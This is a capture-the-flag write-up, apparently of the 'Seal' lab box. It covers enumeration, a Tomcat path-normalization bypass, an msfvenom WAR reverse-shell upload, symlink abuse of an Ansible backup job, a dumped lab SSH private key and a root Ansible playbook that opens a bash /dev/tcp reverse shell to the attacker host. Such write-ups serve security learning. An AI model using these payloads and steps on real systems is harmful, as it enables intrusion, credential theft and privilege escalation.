Engagement flow

Summary
This was a skill expanding experience that forced me to think outside of the box. We started off with a narrow attack surface that quickly expanded after some content discovery that lead to a hidden git repository. This git repo provided the backend configurations for our two severs, Nginx on port 443 and tomcat on port 8080. We eventually learned that the Nginx was configured as a reverse proxy and had SSL configurations in place. The Tomcat server in the backend however did not have SSL configurations in place. From here we were able to bypass page permissions by abusing the lack of data normalization between the two servers, with the use of a ";" character. From here we gained access to a prohibited webpage, by requesting it from the backend server with SSRF to bypass the reverse proxy in the front.
From here we were able to access the Tomcat manager page where we could upload a war file. We utilized msfvenom to create a reverse war javascript shell over TCP. This proved access as a restricted user. From here we move laterally by identifying a powershell script responsible for taking backups. We exploited this by creating a sim link for the Luis users home folder, to the backup folder. This was largely possible due to the use of a wildcard in the backup path. From here we utilzied the SSH key to connect in as Luis where we purused root access by reviewing sudo -l to learn about ansible playbooks of which we had wild card permissions to run. From here we created our own ansible playbook with a command call packed with a bash reverse shell for root.
Tools used
Burpsuite
Dirbuster
msfvenom
symlinks
Ansible playbooks
Processes / Techniques
Serverside request forgery through a rev proxy
Content discovery
Symbolic linking path injection
Ansible playbook creation
References
https://www.acunetix.com/blog/articles/a-fresh-look-on-reverse-proxy-related-attacks/
https://docs.ansible.com/ansible/latest/network/getting_started/first_playbook.html
Enumeration
Starting off with enumeration as usual we notice our attack surface is initially very small which is quite nice. Upon further meditations of these results I noticed a tid bit of info I had missed, and that was the fact that SSL is enabled in the front end, but is not enabled in the back end.
──(kali㉿kali)-[~]
└─$ nmap -sC -sV 10.129.95.190
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-02 20:18 EST
Nmap scan report for 10.129.95.190
Host is up (0.069s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 4b:89:47:39:67:3d:07:31:5e:3f:4c:27:41:1f:f9:67 (RSA)
| 256 04:a7:4f:39:95:65:c5:b0:8d:d5:49:2e:d8:44:00:36 (ECDSA)
|_ 256 b4:5e:83:93:c5:42:49:de:71:25:92:71:23:b1:85:54 (ED25519)
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Seal Market
| ssl-cert: Subject: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK
| Not valid before: 2021-05-05T10:24:03
|_Not valid after: 2022-05-05T10:24:03
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
|_ http/1.1
8080/tcp open http-proxy
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 401 Unauthorized
| Date: Fri, 03 Dec 2021 01:18:13 GMT
| Set-Cookie: JSESSIONID=node013sugo77sa0di1suv6xjpzz9w72.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Content-Length: 0
| GetRequest:
| HTTP/1.1 401 Unauthorized
| Date: Fri, 03 Dec 2021 01:18:12 GMT
| Set-Cookie: JSESSIONID=node01izrr5z0ojhwp7ql5xkiz1gag0.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Content-Length: 0
| HTTPOptions:
| HTTP/1.1 200 OK
| Date: Fri, 03 Dec 2021 01:18:12 GMT
| Set-Cookie: JSESSIONID=node07i636u7f6zozwb8giaub5dph1.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Allow: GET,HEAD,POST,OPTIONS
| Content-Length: 0
| RPCCheck:
| HTTP/1.1 400 Illegal character OTEXT=0x80
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 71
| Connection: close
| <h1>Bad Message 400</h1><pre>reason: Illegal character OTEXT=0x80</pre>
| RTSPRequest:
| HTTP/1.1 505 Unknown Version
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 58
| Connection: close
| <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
| Socks4:
| HTTP/1.1 400 Illegal character CNTL=0x4
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 69
| Connection: close
| <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x4</pre>
| Socks5:
| HTTP/1.1 400 Illegal character CNTL=0x5
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 69
| Connection: close
|_ <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x5</pre>
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Server returned status 401 but no WWW-Authenticate header.
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.91%I=7%D=12/2%Time=61A97055%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,F4,"HTTP/1\.1\x20401\x20Unauthorized\r\nDate:\x20Fri,\x2003\x2
SF:0Dec\x202021\x2001:18:12\x20GMT\r\nSet-Cookie:\x20JSESSIONID=nod
Web Enumeration - seal.htb:8080
This was our landing page and I initially noticed a redirect in the URL above which stood out as odd to me. After looking around I decided to create an account with the option at the bottom of the form.

Once I was in I noticed two repositories on the left. I also want to point out that because I am not an expert with git, I just spent some time poking around and soaking up all the information on the table instead of rushing to find vulnerabilities. I often find that taking your time and reviewing something organically pays bigger dividends, than rushing through something for the sake of it.

Seal Market App Git Repo
Here we can see several to do tasks which provide a new sense of direction. Firstly there is mention about removing mutual authentication. So this could be something specific with their app that we do not know about. But Occam's razor here suggests this is hinting at SSL.
Secondly we see talk about deploying an updated tomcat configuration. Although nothing evident came to mind, this makes me think that perhaps we could enumerate for a misconfiguration. Lastly, we have a task for disabling manager and host-manager. I think this could be related to the manager page, as it provided a forbidden and not a 404 response.

root/seal_market/nginx
This next folder has some interesting information into the configuration of nginx.

root/seal_market/nginx/sites-available
The below code reveals very crucial information regarding the "mutual authentication" that was hinted in the ToDo tasks. We noticed that the manager pages are wrapped in SSL checks highlighted below. This stands true for Nginx but how about TomCat. Well after looking through the Tomcat repo I saw nothing related to SSL.
#################################################################
# You should look at the following URL's in order to grasp a solid understanding
# of Nginx configuration files in order to fully unleash the power of Nginx.
# https://www.nginx.com/resources/wiki/start/
# https://www.nginx.com/resources/wiki/start/topics/tutorials/config_pitfalls/
# https://wiki.debian.org/Nginx/DirectoryStructure
#
# In most cases, administrators will remove this file from sites-enabled/ and
# leave it as reference inside of sites-available where it will continue to be
# updated by the nginx packaging team.
#
# This file will automatically load configuration files provided by other
# applications, such as Drupal or Wordpress. These applications will be made
# available underneath a path with that package name, such as /drupal8.
#
# Please see /usr/share/doc/nginx-doc/examples/ for more detailed examples.
##
# Default server configuration
#
ssl_certificate /var/www/keys/selfsigned.crt;
ssl_certificate_key /var/www/keys/selfsigned.key;
ssl_client_certificate /var/www/keys/selfsigned-ca.crt;
server {
listen 443 ssl default_server;
listen [::]:443 ssl default_server;
# SSL configuration
#
# listen 443 ssl default_server;
# listen [::]:443 ssl default_server;
#
# Note: You should disable gzip for SSL traffic.
# See: https://bugs.debian.org/773332
#
# Read up on ssl_ciphers to ensure a secure configuration.
# See: https://bugs.debian.org/765782
#
# Self signed certs generated by the ssl-cert package
# Don't use them in a production server!
#
# include snippets/snakeoil.conf;
root /var/www/html;
ssl_protocols TLSv1.1 TLSv1.2;
ssl_verify_client optional;
# Add index.php to the list if you are using PHP
index index.html index.htm index.nginx-debian.html;
server_name _;
location /manager/html {
if ($ssl_client_verify != SUCCESS) {
return 403;
}
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_pass http://localhost:8000;
proxy_read_timeout 90;
proxy_redirect http://localhost:8000 https://0.0.0.0;
# First attempt to serve request as file, then
# as directory, then fall back to displaying a 404.
# try_files $uri $uri/ =404;
}
location /admin/dashboard {
if ($ssl_client_verify != SUCCESS) {
return 403;
}
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_pass http://localhost:8000;
proxy_read_timeout 90;
proxy_redirect http://localhost:8000 https://0.0.0.0;
# First attempt to serve request as file, then
# as directory, then fall back to displaying a 404.
# try_files $uri $uri/ =404;
}
location /host-manager/html {
if ($ssl_client_verify != SUCCESS) {
return 403;
}
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_pass http://localhost:8000;
proxy_read_timeout 90;
proxy_redirect http://localhost:8000 https://0.0.0.0;
# First attempt to serve request as file, then
# as directory, then fall back to displaying a 404.
# try_files $uri $uri/ =404;
}
location / {
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_pass http://localhost:8000;
proxy_read_timeout 90;
proxy_redirect http://localhost:8000 https://0.0.0.0;
}
# pass PHP scripts to FastCGI server
#
#location ~ \.php$ {
# include snippets/fastcgi-php.conf;
#
# # With php-fpm (or other unix sockets):
# fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
# # With php-cgi (or other tcp sockets):
# fastcgi_pass 127.0.0.1:9000;
#}
# deny access to .htaccess files, if Apache's document root
# concurs with nginx's one
#
#location ~ /\.ht {
# deny all;
#}
}
# Virtual Host configuration for example.com
#
# You can move that to a different file under sites-available/ and symlink that
# to sites-enabled/ to enable it.
#
#server {
# listen 80;
# listen [::]:80;
#
# server_name example.com;
#
# root /var/www/example.com;
# index index.html;
#
# location / {
# try_files $uri $uri/ =404;
# }
/root/seal_market/commit
A natural part of enumerating a git repo is to look through the commits to learn what has happened or not happened along the way.

username="tomcat"
password="42MrHBf*z8{Z%"
roles="manager-gui,admin-gui"
Port 80 Enumeration - seal.htb
From here we visit the website on port 80.

Running a dirbuster reveals /manager/

/manager/html
Visiting /manager/html provided a forbidden error and discloses that nginx is in use. Which we had already established from the initial nmap scan.

/manager/status
Browsing to managet/status prompts us for credentials
username="tomcat"
password="42MrHBf*z8{Z%"
roles="manager-gui,admin-gui"

We can see the status page here, but there is nothing helpful to move us forwards.

SSRF
It eventually dawned on me to research nginx and tomcat reverse proxy vulnerabilities.
I came across this site here and the link is in the description under references. It talked about the ";" being used as a bad character and the lack of normalization between the front end and the back end. After some trial and error I was able to gain access to the manager/html forbidden page. This occurred by passing the front end with the escape character which was sent and normalized to the back end tomcat server which served up our forbidden page. This was accomplished by opening burpsuite and adding the terminator as in the string down below.

User
From here we can see that in the /manager/ page we have access to the upload war function which we will abuse by creating a war shell and uploading for a reverse shell.

└─$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.80 LPORT=6363 -f war > shell.war
Payload size: 1102 bytes
Final size of war file: 1102 bytes
I received an access denied page which was unfortunate, so I tried renaming the shell.war to shell and this did not make a difference. I don't know why I tried as it is to do with permissions clearly. It eventually became clear to me that

Burp the request

It just worked with the burp browser. I think that the browser may of had client side protection and was normalizing or URL encoding our escape character on the upload, clearing away the ";" character.


Upgrading the shell
which python3
python3 -c 'import pty;pty.spawn("/bin/bash")'
Lateral movement
From here we run linpeas as usual.
We notice an active port over 8000.

Some juicy backup files.

Ansible vault password file?

From here I spent some time meditating on the backup scripts found in /opt/backup/ below. You can see that it copies information and backs it up to the /files/ folder within backup. Now I have seen these before and we can leverage this to output the contents of the users folder for flag and possibly the SSH key if it exists.
run.yml
tomcat@seal:/opt/backups/playbook$ cat run.yml
cat run.yml
- hosts: localhost
tasks:
- name: Copy Files
synchronize: src=/var/lib/tomcat9/webapps/ROOT/admin/dashboard dest=/opt/backups/files copy_links=yes
- name: Server Backups
archive:
path: /opt/backups/files/
dest: "/opt/backups/archives/backup-{{ansible_date_time.date}}-{{ansible_date_time.time}}.gz"
- name: Clean
file:
state: absent
path: /opt/backups/files/
The only thing is I don't think we would have permissions to /admin/dashboard but lets check anyways. The bad news is we do not have permissions as user tomcat. The good news is that the /admin/dashboard/uploads/
bootstrap css images index.html scripts uploads
tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard$ ls -la
ls -la
total 100
drwxr-xr-x 7 root root 4096 May 7 2021 .
drwxr-xr-x 3 root root 4096 May 6 2021 ..
drwxr-xr-x 5 root root 4096 Mar 7 2015 bootstrap
drwxr-xr-x 2 root root 4096 Mar 7 2015 css
drwxr-xr-x 4 root root 4096 Mar 7 2015 images
-rw-r--r-- 1 root root 71744 May 6 2021 index.html
drwxr-xr-x 4 root root 4096 Mar 7 2015 scripts
drwxrwxrwx 2 root root 4096 May 7 2021 uploads
What I have done in the past is specifically to do with Symbolic linking in these situations. So referencing this guide here I give it a shot. https://kb.iu.edu/d/abbe
ln -s /home/luis/ /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/
After this I navigated to /opt/backups/archive/ here I found the latest backup and I could not copy it over to the tmp folder. So I learned that /dev/shm also acts as a temp folder and I copied the backup over there.
From here I ran gunzip which turned it into a tar file. So I renamed the folder to deal with the bad characters used in the title to denote time.
tomcat@seal:/dev/shm/dashboard$ ls -la
ls -la
total 72
drwxr-x--- 7 tomcat tomcat 160 May 7 2021 .
drwxrwxrwt 3 root root 80 Dec 4 16:14 ..
drwxr-x--- 5 tomcat tomcat 100 Dec 4 16:13 bootstrap
drwxr-x--- 2 tomcat tomcat 60 Dec 4 16:13 css
drwxr-x--- 4 tomcat tomcat 140 Dec 4 16:13 images
-rw-r----- 1 tomcat tomcat 71744 May 6 2021 index.html
drwxr-x--- 4 tomcat tomcat 140 Dec 4 16:13 scripts
drwxr-x--- 2 tomcat tomcat 40 Dec 4 16:00 uploads
I then copied the SSH key after grabbing the user.txt flag.
tomcat@seal:/dev/shm/dashboard/uploads/luis/.ssh$ ls
ls
authorized_keys id_rsa id_rsa.pub
tomcat@seal:/dev/shm/dashboard/uploads/luis/.ssh$ cat id_rsa
cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
u8KqOiDVrwmFJRAAAACWx1aXNAc2VhbAE=
-----END OPENSSH PRIVATE KEY-----
I copied the ssh private key down and connected in as user luis.

Root
For this phase we will quickly learn about permissions to run an ansible playbook as root and from here we will craft our playbook to pass a bash command for a reverse shell. This was pretty easy compare to the rest of this lab.
Running Sudo -l shows the following.

Reviewing some reference materials on ansible playbooks I quickly learned we could pass commands to our playbook and went straight for the kill with a bash reverse shell over tcp.
References:
Ansible playbook
- hosts: localhost
tasks:
- name: Boom
command: /bin/bash -c "bash -i >& /dev/tcp/10.10.14.43/6363 0>&1"
Running our playbook called the command to our listener and we have root!

listening on [any] 6363 ...
connect to [10.10.14.80] from (UNKNOWN) [10.129.95.190] 45114
root@seal:/home/luis# whoami
whoami
root
Comments